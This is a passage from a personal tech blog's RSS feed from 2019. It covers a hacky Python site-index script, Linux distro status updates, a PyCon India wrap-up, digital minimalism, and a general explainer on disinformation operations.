2079 <span class="n">files</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">getmtime</span><span class="p">,</span> <span class="n">reverse</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
2080 <span class="k">return</span> <span class="n">files</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
2081
2082<span class="c1"># adding an entry to the markdown table</span>
2083<span class="k">def</span> <span class="nf">update_index</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
2084 <span class="n">path</span> <span class="o">=</span> <span class="s2">"../pages/_index.md"</span>
2085 <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
2086 <span class="n">md</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
2087 <span class="n">ruler</span> <span class="o">=</span> <span class="n">md</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s2">"| --- | --: |</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
2088 <span class="n">md</span><span class="p">[</span><span class="n">ruler</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
2089
2090 <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
2091 <span class="n">f</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="n">md</span><span class="p">)</span>
2092
2093<span class="c1"># editing the md source in-place</span>
2094<span class="k">def</span> <span class="nf">update_blog</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
2095 <span class="n">path</span> <span class="o">=</span> <span class="s2">"../pages/blog/_index.md"</span>
2096 <span class="n">s</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
2097 <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">fileinput</span><span class="o">.</span><span class="n">FileInput</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">inplace</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
2098 <span class="k">if</span> <span class="s2">"--:"</span> <span class="ow">in</span> <span class="n">l</span><span class="p">:</span>
2099 <span class="n">l</span> <span class="o">=</span> <span class="n">l</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">l</span> <span class="o">+</span> <span class="n">s</span><span class="p">)</span>
2100 <span class="nb">print</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">""</span><span class="p">),</span>
2101
2102
2103<span class="c1"># fetch title and date</span>
2104<span class="n">meta</span> <span class="o">=</span> <span class="n">markdown_path</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">),</span> <span class="n">extras</span><span class="o">=</span><span class="p">[</span><span class="s2">"metadata"</span><span class="p">])</span><span class="o">.</span><span class="n">metadata</span>
2105<span class="n">fname</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">basename</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">splitext</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">))[</span><span class="mi">0</span><span class="p">])</span>
2106<span class="n">url</span> <span class="o">=</span> <span class="s2">"/blog/"</span> <span class="o">+</span> <span class="n">fname</span>
2107<span class="n">line</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">"| [</span><span class="si">{</span><span class="n">meta</span><span class="p">[</span><span class="s1">'title'</span><span class="p">]</span><span class="si">}</span><span class="s2">](</span><span class="si">{</span><span class="n">url</span><span class="si">}</span><span class="s2">) | `</span><span class="si">{</span><span class="n">meta</span><span class="p">[</span><span class="s1">'date'</span><span class="p">]</span><span class="si">}</span><span class="s2">` |"</span>
2108
2109<span class="n">update_index</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
2110<span class="n">update_blog</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
2111</code></pre></div>
2112
2113<p>I’m going to skip explaining this one out, but in essence, it’s <strong>one
2114massive hack</strong>. And in the end, that’s my point exactly. It’s very
2115hacky, but the sheer amount I learnt by writing this ~50
2116line script can’t be taught anywhere.</p>
2117
2118<p>This was partially how
2119<a href="https://github.com/icyphox/vite">vite</a> was born. It was originally
2120intended to be a script to build my site, but grew into a full-blown
2121Python package. I could’ve just
2122used an off-the-shelf static site generator
2123given that there are <a href="https://staticgen.com">so many</a> of them, but
2124I chose to write one myself.</p>
2125
2126<p>And that just about sums up what I wanted to say. The best and most fun
2127way to learn to code—write hacky scripts. You heard it here.</p>
2128]]></description><link>https://icyphox.sh/blog/hacky-scripts</link><pubDate>Thu, 24 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/hacky-scripts</guid></item><item><title>Status update</title><description><![CDATA[<p>I’ve decided to drop the “Weekly” part of the status update posts, since
2129they were never weekly and—let’s be honest—they aren’t going to be.
2130These posts are, henceforth, just “Status updates”. The date range can
2131be inferred from the post date.</p>
2132
2133<p>That said, here’s what I’ve been up to!</p>
2134
2135<h2 id="void-linux">Void Linux</h2>
2136
2137<p>Yes, I decided to ditch Alpine in favor of Void. Alpine was great,
2138really. The very comfy <code>apk</code>, ultra mnml system… but having to
2139maintain a chroot for my glibc needs was getting way too painful. And
2140the package updates are so slow! Heck, they’re still on kernel 4.xx on
2141their supposed “bleeding” <code>edge</code> repo.</p>
2142
2143<p>So yes, Void Linux it is. Still a very clean system. I’m loving it.
2144I also undervolted my system using <a href="https://github.com/georgewhewell/undervolt"><code>undervolt</code></a>
2145(-95 mV). Can’t say for sure if there’s a noticeable difference in
2146battery life though. I’ll see if I can run some tests.</p>
2147
2148<p>This <em>should</em> be the end of my distro hopping. Hopefully.</p>
2149
2150<h2 id="pycon">PyCon</h2>
2151
2152<p>Yeah yeah, enough already. Read <a href="/blog/pycon-wrap-up">my previous post</a>.</p>
2153
2154<h2 id="this-website">This website</h2>
2155
2156<p>I’ve moved out of GitHub Pages over to Netlify. This isn’t my first time
2157using Netlify, though. I used to host my old blog which ran Hugo, there.
2158I was tired of doing this terrible hack to maintain a single repo for
2159both my source (<code>master</code>) and deploy (<code>gh-pages</code>). In essence, here’s
2160what I did:</p>
2161
2162<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
2163
2164git push origin master
2165<span class="c1"># push contents of `build/` to the `gh-pages` branch</span>
2166git subtree push --prefix build origin gh-pages
2167</code></pre></div>
2168
2169<p>I can now simply push to <code>master</code>, and Netlify generates a build for me
2170by installing <a href="https://github.com/icyphox/vite">vite</a>, and running <code>vite
2171build</code>. Very pleasant.</p>
2172
2173<h2 id="mnmlwms-status"><code>mnmlwm</code>’s status</h2>
2174
2175<p><a href="https://github.com/minimalwm/minimal">mnmlwm</a>, for those unaware, is my pet project which aims to be a simple
2176window manager written in Nim. I’d taken a break from it for a while
2177because Xlib is such a pain to work with (or I’m just dense). Anyway,
2178I’m planning on getting back to it, with some fresh inspiration from
2179Dylan Araps’ <a href="https://github.com/dylanaraps/sowm">sowm</a>.</p>
2180
2181<h2 id="other">Other</h2>
2182
2183<p>I’ve been reading a lot of manga lately. Finished <em>Kekkon Yubiwa
2184Monogatari</em> (till the latest chapter) and <em>Another</em>, and I’ve just
2185started <em>Kakegurui</em>. I’ll reserve my opinions for when I update the
2186<a href="/reading">reading log</a>.</p>
2187
2188<p>That’s about it, and I’ll see you—definitely not next week.</p>
2189]]></description><link>https://icyphox.sh/blog/2019-10-17</link><pubDate>Wed, 16 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-10-17</guid></item><item><title>PyCon India 2019 wrap-up</title><description><![CDATA[<p>I’m writing this article as I sit in class, back on the grind. Last
2190weekend—Oct 12th and 13th—was PyCon India 2019, in Chennai, India.
2191It was my first PyCon, <em>and</em> my first ever talk at a major conference!
2192This is an account of the all the cool stuff I saw, people I met and the
2193talks I enjoyed.
2194Forgive the lack of pictures—I prefer living the moment through my
2195eyes. </p>
2196
2197<h2 id="talks">Talks</h2>
2198
2199<p>So much ML! Not that it’s a bad thing, but definitely interesting to
2200note. From what I counted, there were about 17 talks tagged under “Data
2201Science, Machine Learning and AI”. I’d have liked to see more talks
2202discussing security and privacy, but hey, the organizers can only pick
2203from what’s submitted. ;)</p>
2204
2205<p>With that point out of the way, here are some of the talks I really liked:</p>
2206
2207<ul>
2208<li><strong>Python Packaging - where we are and where we’re headed</strong> by <a href="https://twitter.com/pradyunsg">Pradyun</a></li>
2209<li><strong>Micropython: Building a Physical Inventory Search Engine</strong> by <a href="https://twitter.com/stonecharioteer">Vinay</a></li>
2210<li><strong>Ragabot - Music Encoded</strong> by <a href="https://twitter.com/vikipedia">Vikrant</a></li>
2211<li><strong>Let’s Hunt a Memory Leak</strong> by <a href="https://twitter.com/sankeyplus">Sanket</a></li>
2212<li>oh and of course, <a href="https://twitter.com/dabeaz">David Beazley</a>’s closing
2213keynote</li>
2214</ul>
2215
2216<h2 id="my-talk">My talk (!!!)</h2>
2217
2218<p>My good buddy <a href="https://twitter.com/_vologue">Raghav</a> and I spoke about
2219our smart lock security research. Agreed, it might have been less
2220“hardware” and more of a bug on the server-side, but that’s the thing
2221about IoT right? It’s so multi-faceted, and is an amalgamation of so
2222many different hardware and software stacks. But, anyway…</p>
2223
2224<p>I was reassured by folks after the talk that the silence during Q/A was
2225the “good” kind of silence. Was it really? I’ll never know.</p>
2226
2227<h2 id="some-nice-people-i-met">Some nice people I met</h2>
2228
2229<ul>
2230<li><a href="https://twitter.com/abhirathb">Abhirath</a>—A 200 IQ lad. Talked to
2231me about everything from computational biology to the physical
2232implementation of quantum computers.</li>
2233<li><a href="https://twitter.com/meain_">Abin</a>—He recognized me from my
2234<a href="https://reddit.com/r/unixporn">r/unixporn</a> posts, which was pretty
2235awesome.</li>
2236<li><a href="https://twitter.com/h6165">Abhishek</a></li>
2237<li>Pradyun and Vikrant (linked earlier)</li>
2238</ul>
2239
2240<p>And a lot of other people doing really great stuff, whose names I’m
2241forgetting.</p>
2242
2243<h2 id="pictures">Pictures!</h2>
2244
2245<p>It’s not much, and
2246I can’t be bothered to format them like a collage or whatever, so I’ll
2247just dump them here—as is.</p>
2248
2249<p><img src="/static/img/silly_badge.jpg" alt="nice badge" />
2250<img src="/static/img/abhishek_anmol.jpg" alt="awkward smile!" />
2251<img src="/static/img/me_talking.jpg" alt="me talking" />
2252<img src="/static/img/s443_pycon.jpg" alt="s443 @ pycon" /></p>
2253
2254<h2 id="cest-tout">C’est tout</h2>
2255
2256<p>Overall, a great time and a weekend well spent. It was very different
2257from your typical security conference—a lot more <em>chill</em>, if you
2258will. The organizers did a fantastic job and the entire event was put
2259together really well.
2260I don’t have much else to say, but I know for sure that I’ll be
2261there next time.</p>
2262
2263<p>That was PyCon India, 2019.</p>
2264]]></description><link>https://icyphox.sh/blog/pycon-wrap-up</link><pubDate>Tue, 15 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/pycon-wrap-up</guid></item><item><title>Thoughts on digital minimalism</title><description><![CDATA[<p>Ah yes, yet another article on the internet on this beaten to death
2265subject. But this is inherently different, since it’s <em>my</em> opinion on
2266the matter, and <em>my</em> technique(s) to achieve “digital minimalism”.</p>
2267
2268<p>According to me, minimalism can be achieved on two primary fronts –
2269the phone & the computer. Let’s start with the phone. The daily carry.
2270The device that’s on our person from when we get out of bed, till we get
2271back in bed.</p>
2272
2273<h2 id="the-phone">The phone</h2>
2274
2275<p>I’ve read about a lot of methods people employ to curb their phone
2276usage. Some have tried grouping “distracting” apps into a separate
2277folder, and this supposedly helps reduce their usage. Now, I fail to see
2278how this would work, but YMMV. Another technique I see often is using
2279a time governance app—like OnePlus’ Zen Mode—to enforce how much
2280time you spend using specific apps, or the phone itself. I’ve tried this
2281for myself, but I constantly found myself counting down the minutes
2282after which the phone would become usable again. Not helpful.</p>
2283
2284<p>My solution to this is a lot more brutal. I straight up uninstalled the
2285apps that I found myself using too often. There’s a simple principle
2286behind it—if the app has a desktop alternative, like Twitter,
2287Reddit, etc. use that instead. Here’s a list of apps that got nuked from
2288my phone:</p>
2289
2290<ul>
2291<li>Twitter</li>
2292<li>Instagram (an exception, no desktop client)</li>
2293<li>Relay for Reddit</li>
2294<li>YouTube (disabled, ships with stock OOS)</li>
2295</ul>
2296
2297<p>The only non-productive app that I’ve let remain is Clover,
2298a 4chan client. I didn’t find myself using it as much earlier, but we’ll see how that
2299holds up. I’ve also allowed my personal messaging apps to remain, since
2300removing those would be inconveniencing others.</p>
2301
2302<p>I must admit, I often find myself reaching for my phone out of habit
2303just to check Twitter, only to find that its gone. I also subconsciously
2304tap the place where its icon used to exist (now replaced with my mail
2305client) on my launcher. The only “fun” thing left on my phone to do is
2306read or listen to music. Which is okay, in my opinion.</p>
2307
2308<h2 id="the-computer">The computer</h2>
2309
2310<p>I didn’t do anything too nutty here, and most of the minimalism is
2311mostly aesthetic. I like UIs that get out of the way. </p>
2312
2313<p>My setup right now is just a simple bar at the top showing the time,
2314date, current volume and battery %, along with my workspace indicators.
2315No fancy colors, no flashy buttons and sliders. And that’s it. I don’t
2316try to force myself to not use stuff—after all, I’ve reduced it
2317elsewhere. :)</p>
2318
2319<p>Now the question arises: Is this just a phase, or will I stick to it?
2320What’s going to stop me from heading over to the Play Store and
2321installing those apps back? Well, I never said this was going to be
2322easy. There’s definitely some will power needed to pull this off.
2323I guess time will tell.</p>
2324]]></description><link>https://icyphox.sh/blog/digital-minimalism</link><pubDate>Sat, 05 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/digital-minimalism</guid></item><item><title>Weekly status update, 09/17–09/27</title><description><![CDATA[<p>It’s a lazy Friday afternoon here; yet another off day this week thanks to my
2325uni’s fest. My last “weekly” update was 10 days ago, and a lot has happened
2326since then. Let’s get right into it!</p>
2327
2328<h2 id="my-switch-to-alpine">My switch to Alpine</h2>
2329
2330<p>Previously, I ran Debian with Buster/Sid repos, and ever since this happened</p>
2331
2332<div class="codehilite"><pre><span></span><code>$ dpkg --list <span class="p">|</span> wc -l
2333<span class="m">3817</span>
2334
2335<span class="c1"># or something in that ballpark</span>
2336</code></pre></div>
2337
2338<p>I’ve been wanting to reduce my system’s package count.</p>
2339
2340<p>Thus, I began my search for a smaller, simpler and lighter distro with a fairly
2341sane package manager. I did come across Dylan Araps’
2342<a href="https://getkiss.org">KISS Linux</a> project, but it seemed a little too hands-on
2343for me (and still relatively new). I finally settled on
2344<a href="https://alpinelinux.org">Alpine Linux</a>. According to their website:</p>
2345
2346<blockquote>
2347 <p>Alpine Linux is a security-oriented, lightweight Linux distribution based
2348 on musl libc and busybox.</p>
2349</blockquote>
2350
2351<p>The installation was a breeze, and I was quite surprised to see WiFi working
2352OOTB. In the past week of my using this distro, the only major hassle I faced
2353was getting my Minecraft launcher to run. The JRE isn’t fully ported to <code>musl</code>
2354yet.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup> The solution to that is fairly trivial and I plan to write about it
2355soon. (hint: it involves chroots)</p>
2356
2357<p><img src="/static/img/rice-2019-09-27.png" alt="rice" /></p>
2358
2359<h2 id="packaging-for-alpine">Packaging for Alpine</h2>
2360
2361<p>On a related note, I’ve been busy packaging some of the stuff I use for Alpine
2362– you can see my personal <a href="https://github.com/icyphox/aports">aports</a>
2363repository if you’re interested. I’m currently working on packaging Nim too, so
2364keep an eye out for that in the coming week.</p>
2365
2366<h2 id="talk-selection-at-pycon-india">Talk selection at PyCon India!</h2>
2367
2368<p>Yes! My buddy Raghav (<a href="https://twitter.com/_vologue">@_vologue</a>) and I are
2369going to be speaking at PyCon India about our recent smart lock security
2370research. The conference is happening in Chennai, much to our convenience.
2371If you’re attending too, hit me up on Twitter and we can hang!</p>
2372
2373<h2 id="other">Other</h2>
2374
2375<p>That essentially sums up the <em>technical</em> stuff that I did. My Russian is going
2376strong, my reading however, hasn’t. I have <em>yet</em> to finish those books! This
2377week, for sure.</p>
2378
2379<p>Musically, I’ve been experimenting. I tried a bit of hip-hop and chilltrap, and
2380I think I like it? I still find myself coming back to metalcore/deathcore.
2381Here’s a list of artists I discovered (and liked) recently:</p>
2382
2383<ul>
2384<li><a href="https://www.youtube.com/watch?v=r3uKGwcwGWA">Before I Turn</a></li>
2385<li>生 Conform 死 (couldn’t find any official YouTube video, check Spotify)</li>
2386<li><a href="https://www.youtube.com/watch?v=66eFK1ttdC4">Treehouse Burning</a></li>
2387<li><a href="https://www.youtube.com/watch?v=m-w3XM2PwOY">Lee McKinney</a></li>
2388<li><a href="https://www.youtube.com/watch?v=cUibXK7F3PM">Berried Alive</a> (rediscovered)</li>
2389</ul>
2390
2391<p>That’s it for now, I’ll see you next week!</p>
2392
2393<div class="footnotes">
2394<hr />
2395<ol>
2396<li id="fn-1">
2397<p>The <a href="https://aboullaite.me/protola-alpine-java/">Portola Project</a> <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
2398</li>
2399</ol>
2400</div>
2401]]></description><link>https://icyphox.sh/blog/2019-09-27</link><pubDate>Fri, 27 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-27</guid></item><item><title>Weekly status update, 09/08–09/17</title><description><![CDATA[<p>This is something new I’m trying out, in an effort to write more frequently
2402and to serve as a log of how I’m using my time. In theory, I will write this post
2403every week. I’ll need someone to hold me accountable if I don’t. I have yet to decide on
2404a format for this, but it will probably include a quick summary of the work I did,
2405things I read, IRL stuff, etc.</p>
2406
2407<p>With the meta stuff out of the way, here’s what went down last week!</p>
2408
2409<h2 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h2>
2410
2411<p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It’s a link to
2412the <a href="https://webring.xxiivv.com">XXIIVV webring</a>. I really like the idea of webrings.
2413It creates a small community of sites and enables sharing of traffic among these sites.
2414The XXIIVV webring consists mostly of artists, designers and developers and gosh, some
2415of those sites are beautiful. Mine pales in comparison.</p>
2416
2417<p>The webring also has a <a href="https://github.com/buckket/twtxt">twtxt</a> echo chamber aptly
2418called <a href="https://webring.xxiivv.com/hallway.html">The Hallway</a>. twtxt is a fantastic project
2419and its complexity-to-usefulness ratio greatly impresses me. You can find my personal
2420twtxt feed at <code>/twtxt.txt</code> (root of this site).</p>
2421
2422<p>Which brings me to the next thing I did this/last week.</p>
2423
2424<h2 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h2>
2425
2426<p>I’m not a fan of the official Python client, because you know, Python is bloat.
2427As an advocate of <em>mnmlsm</em>, I can’t use it in good conscience. Thus, began my
2428authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh">here</a>.
2429It’s not entirely useable as of yet, but it’s definitely getting there, with the help
2430of <a href="https://nerdypepper.me">@nerdypepper</a>.</p>
2431
2432<h2 id="other">Other</h2>
2433
2434<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,
2435Darknet Diaries & Off the Pill. To add to this list, I’ve begun binging Vice’s CYBER.
2436It’s pretty good—each episode is only about 30 mins and it hits the sweet spot,
2437delvering both interesting security content and news.</p>
2438
2439<p>My reading needs a ton of catching up. Hopefully I’ll get around to finishing up
2440“The Unending Game” this week. And then go back to “Terrorism and Counterintelligence”.</p>
2441
2442<p>I’ve begun learning Russian! I’m really liking it so far, and it’s been surprisingly
2443easy to pick up. Learning the Cyrillic script will require some relearning, especially
2444with letters like в, н, р, с, etc. that look like English but sound entirely different.
2445I think I’m pretty serious about learning this language—I’ve added the Russian keyboard
2446to my Google Keyboard to aid in my familiarization of the alphabet. I’ve added the <code>RU</code>
2447layout to my keyboard map too:</p>
2448
2449<pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru
2450</code></pre>
2451
2452<p>With that ends my weekly update, and I’ll see you next week!</p>
2453]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let’s start with its etymology and definiton.
2454According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>,
2455<em>disinformation</em> has been borrowed from the Russian word — <em>dezinformatisya</em> (дезинформа́ция),
2456derived from the title of a KGB black propaganda department.</p>
2457
2458<blockquote>
2459 <p>Disinformation is false information spread deliberately to deceive.</p>
2460</blockquote>
2461
2462<p>To fully understand disinformation, especially in the modern age, we need to understand the
2463key factors of any successful disinformation operation:</p>
2464
2465<ul>
2466<li>creating disinformation (what)</li>
2467<li>the motivation behind the op, or its end goal (why)</li>
2468<li>the medium used to disperse the falsified information (how)</li>
2469<li>the actor (who)</li>
2470</ul>
2471
2472<p>At the end, we’ll also look at how you can use disinformation techniques to maintain OPSEC.</p>
2473
2474<p>In order to break monotony, I will also be using the terms “information operation”, or the shortened
2475forms—"info op” & “disinfo”.</p>
2476
2477<h2 id="creating-disinformation">Creating disinformation</h2>
2478
2479<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
2480of any disinformation sample is a huge indicator of the level of sophistication of the
2481actor involved, i.e. is it a 12 year old troll or a nation state?</p>
2482
2483<p>Well crafted disinformation always has one primary characteristic — “plausibility”.
2484The disinfo must sound reasonable. It must induce the notion it’s <em>likely</em> true.
2485To achieve this, the target — be it an individual, a specific demographic or an entire
2486nation — must be well researched. A deep understanding of the target’s culture, history,
2487geography and psychology is required. It also needs circumstantial and situational awareness,
2488of the target.</p>
2489
2490<p>There are many forms of disinformation. A few common ones are staged videos / photographs,
2491recontextualized videos / photographs, blog posts, news articles & most recently — deepfakes.</p>
2492
2493<p>Here’s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized
2494imagery:</p>
2495
2496<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
2497<p lang="en" dir="ltr">Disinformation.
2498<br><br>
2499The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
2500<br><br>Recontextualisation as threat vector.
2501<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
2502</p>— thaddeus e. grugq (@thegrugq)
2503<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
2504</blockquote>
2505
2506<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
2507
2508<h2 id="motivations-behind-an-information-operation">Motivations behind an information operation</h2>
2509
2510<p>I like to broadly categorize any info op as either proactive or reactive.
2511Proactively, disinformation is spread with the desire to influence the target
2512either before or during the occurence of an event. This is especially observed
2513during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup>
2514In offensive information operations, the target’s psychological state can be affected by
2515spreading <strong>fear, uncertainty & doubt</strong>, or FUD for short.</p>
2516
2517<p>Reactive disinformation is when the actor, usually a nation state in this case,
2518screws up and wants to cover their tracks. A fitting example of this is the case
2519of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over
2520eastern Ukraine. This tragic incident has been attributed to Russian-backed
2521separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>
2522Russian media is known to have desseminated a number of alternative & some even
2523conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT’s (Dutch-lead Joint
2524Investigation Team) investigations pointed towards the separatists.
2525The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
2526potentially correct information takes a credibility hit.</p>
2527
2528<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
2529in totalitarian regimes; when the government decides what the media portrays to the
2530masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p>
2531
2532<blockquote>
2533 <p>Official state media pin the blame for protests on the “black hand” of foreign interference,
2534 namely from the United States, and what they have called criminal Hong Kong thugs.
2535 A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters,
2536 who are demanding an end to an extradition bill with China and the ability to elect their own leader.
2537 Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience,
2538 this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
2539 …</p>
2540</blockquote>
2541
2542<h2 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h2>
2543
2544<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
2545play a key role in influence ops en masse. It guarantees outreach due to the channel/paper’s
2546popularity.</p>
2547
2548<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
2549generate activity programmatically via the API, Twitter bots are the go-to choice today for
2550info ops. Essentially, an actor attempts to create “discussions” amongst “users” (read: bots),
2551to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
2552get realtime insights into what sticks and what doesn’t.
2553The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
2554factory — the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA)
2555to create discussions about alternative theories.</p>
2556
2557<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
2558actively invest in creating group chats to spread political messages and memes. These parties
2559have volunteers whose sole job is to sit and forward messages.
2560Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
2561this is disinformation without a motive, or the motive is hard to determine simply because
2562the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup>
2563This is a difficult problem to combat, especially given the nature of the target audience.</p>
2564
2565<h2 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h2>
2566
2567<p>I doubt this requires further elaboration, but in short:</p>
2568
2569<ul>
2570<li>nation states and their intelligence agencies</li>
2571<li>governments, political parties</li>
2572<li>other non/quasi-governmental groups</li>
2573<li>trolls</li>
2574</ul>
2575
2576<p>This essentially sums up the what, why, how and who of disinformation. </p>
2577
2578<h2 id="personal-opsec">Personal OPSEC</h2>
2579
2580<p>This is a fun one. Now, it’s common knowledge that
2581<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
2582afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
2583lead to your OPSEC being compromised.
2584So if you really have to, you can feign activity using disinformation. For example,
2585pick a place, and throw in subtle details pertaining to the weather, local events
2586or regional politics of that place into your disinfo. Assuming this is Twitter, you can
2587tweet stuff like:</p>
2588
2589<ul>
2590<li>“Ugh, when will this hot streak end?!”</li>
2591<li>“Traffic wonky because of the Mardi Gras parade.”</li>
2592<li>“Woah, XYZ place is nice! Especially the fountains by ABC street.”</li>
2593</ul>
2594
2595<p>Of course, if you’re a nobody on Twitter (like me), this is a non-issue for you.</p>
2596
2597<p>And please, don’t do this:</p>
2598
2599<p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p>
2600
2601<h2 id="conclusion">Conclusion</h2>
2602
2603<p>The ability to influence someone’s decisions/thought process in just one tweet is
2604scary. There is no simple way to combat disinformation. Social media is hard to control.
2605Just like anything else in cyber, this too is an endless battle between social media corps
2606and motivated actors.</p>
2607
2608<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
2609folks see the truth in a post-truth world.</p>
2610
2611<div class="footnotes">
2612<hr />
2613<ol>
2614<li id="fn-1">
2615<p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!). <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
2616</li>
2617
2618<li id="fn-2">
2619<p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>’s season one covers the MH17 investigation in detail. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
2620</li>
2621
2622<li id="fn-3">
2623<p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
2624</li>
2625
2626<li id="fn-4">
2627<p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a> <a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">↩</a></p>
2628</li>
2629
2630<li id="fn-5">
2631<p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>. <a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">↩</a></p>
2632</li>
2633</ol>
2634</div>
2635]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I’d made an attempt at setting one up
